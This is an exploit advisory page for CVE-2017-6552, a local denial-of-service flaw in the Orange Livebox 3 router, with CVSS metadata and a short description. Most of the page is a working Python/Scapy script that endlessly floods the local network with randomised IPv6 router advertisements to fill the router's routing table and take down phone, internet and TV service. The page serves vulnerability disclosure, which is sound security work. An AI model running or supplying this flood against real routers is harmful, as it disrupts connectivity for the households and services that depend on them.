SG30_sip-fr-5.15.8.1 Livebox 3 Local DoS Buffer Overflow

Published
Credit
Risk
2017.03.09
Quentin Olagne
Medium
CWE
CVE
Local
Remote
N/A
CVE-2017-6552
Yes
No

CVSS Base Score
Impact Subscore
Exploitability Subscore
7.8/10
6.9/10
10/10
Exploit range
Attack complexity
Authentication
Remote
Low
No required
Confidentiality impact
Integrity impact
Availability impact
None
None
Complete

#!/usr/bin/python

# Exploit Title: CVE-2017-6552 - Local DoS Buffer Overflow Livebox 3
# Date: 09/03/2017
# Exploit Author: Quentin Olagne
# Vendor Homepage: http://www.orange.fr/
# Version: SG30_sip-fr-5.15.8.1
# Tested on: Livebox 3 - Sagemcom
# CVE : CVE-2017-6552

'''
Livebox router has its default IPv6 routing table max. size too
small and therefore can be filled within minutes.
An attacker can exploit this issue to render the affected system
unresponsive, resulting in a denial-of-service condition for Phone,
Internet and TV services.

Vulenrability has been discovered in April '16 and has been patched some time ago with the newest firmware.
I have submitted the idea to have a button to enable/disable IPv6 stack on the local interface from the admin
livebox web UI, don't know if it's been implemented.

'''

from scapy.all import *
import time
import threading

start_time = time.time()

def printit():
threading.Timer(5.0, printit).start()
interval = time.time() - start_time
print 'Total time in seconds:', interval, '\n'

printit()

packet = Ether() \
/IPv6() \
/ICMPv6ND_RA() \
/ICMPv6NDOptPrefixInfo(prefix=RandIP6(),prefixlen=64) \
/ICMPv6NDOptSrcLLAddr(lladdr=RandMAC("00:01:42"))

try:
sendp(packet,loop=1)
except KeyboardInterrupt:
stored_exception=sys.exc_info()
except:
pass

print "Goodbye"


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